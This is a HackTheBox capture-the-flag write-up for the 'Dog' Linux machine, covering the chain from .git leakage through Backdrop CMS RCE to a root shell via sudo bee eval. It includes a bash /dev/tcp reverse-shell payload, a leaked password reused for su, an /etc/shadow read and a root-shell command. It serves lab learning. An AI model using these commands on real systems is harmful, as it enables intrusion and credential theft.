> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md). # Dog HackTheBox Writeup Dog HackTheBox Easy Linux machine writeup covering Extracting information from .git folder (Information Leakage), Authenticated Remote Code Execution (CMS Backdrop), Pivoting (Password Reuse), Sudo be {% embed url="" %} {% hint style="warning" %} **Skills:** * Extracting information from .git folder (Information Leakage) * Authenticated Remote Code Execution (CMS Backdrop) * Pivoting (Password Reuse) * Sudo bee binary (Executing PHP Code) (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.58 -oG allPorts ```

**Port version scan with Nmap 22.80:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,80 10.10.11.58 -oN targeted ```

### Port 80 - HTTP

We discover a **.git** directory, indicating a potential publicly accessible Git repository. The site uses the **Backdrop** CMS.

**Enumeration with Gobuster** ```bash gobuster dir -u http://10.10.11.58 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` We find several interesting directories, including **.git**.

**Git repository dump** We retrieve the contents of the repository with: ```git git-dumper http://10.10.11.58/.git .git ```

We find a **settings.php** file containing a password:

We search emails saved with: ```bash find .git -type f -exec grep -E '@dog' {} + ``` We find the following email: ****.

## **Backdrop CMS Exploitation (RCE)** We use the credentials found to connect to the CMS.

**Search for vulnerabilities** With **searchsploit**, we identify an RCE flaw: ```bash searchsploit -m php/webapps/52021.py ```

We run the exploit: ```bash python3 52021.py http://10.10.11.58 ``` This generates a ZIP file containing a PHP shell.

We then compress the shell into **tar.gz**: ```bash tar -czvf shell.tar.gz shell ```

We inject it via **admin / installer / manual**.

**Order fulfillment** We find a folder **modules/cmd/** containing **cmd.php**

Allowing us to execute orders: ```bash ifconfig ```

### **Reverse Shell Backdrop CMS** We open a listener on port 443: ```bash nc -nlvp 443 ``` We inject a payload: ```bash bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1" ```

Once connected, we stabilize our shell: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## **Privilege escalation** ### **Pivoting to user johncusack** We list users with a valid Bash shell: ```bash cat /etc/passwd | grep "/bash" ``` We find **root, jobert and johncusack**.

We attempt to reuse the credentials and obtain access with: ```bash su johncusack BackDropJ2024DS2024 ```

### Flag user.txt :)

### **Privilege escalation with the Bee binary** We check sudo privileges: ```bash sudo -l ``` We can run **/usr/local/bin/bee** as root.

**Analysis the Bee** {% hint style="info" %} Bee is an administration tool for **Backdrop CMS**, similar to **Drush** for Drupal. It allows the execution of various commands. {% endhint %} `Usage: bee [global-options] [options] [arguments]`

We identify the **eval** option, which allows executing arbitrary PHP code.

**Read `/etc/shadow`** {% code overflow="wrap" %} ```bash sudo /usr/local/bin/bee --root=/var/www/html eval 'echo shell_exec("cat /etc/shadow 2>&1");' ``` {% endcode %}

**Root Shell Obtained** {% code overflow="wrap" %} ```bash sudo /usr/local/bin/bee --root=/var/www/html eval 'shell_exec("/bin/bash -p");' ``` {% endcode %}

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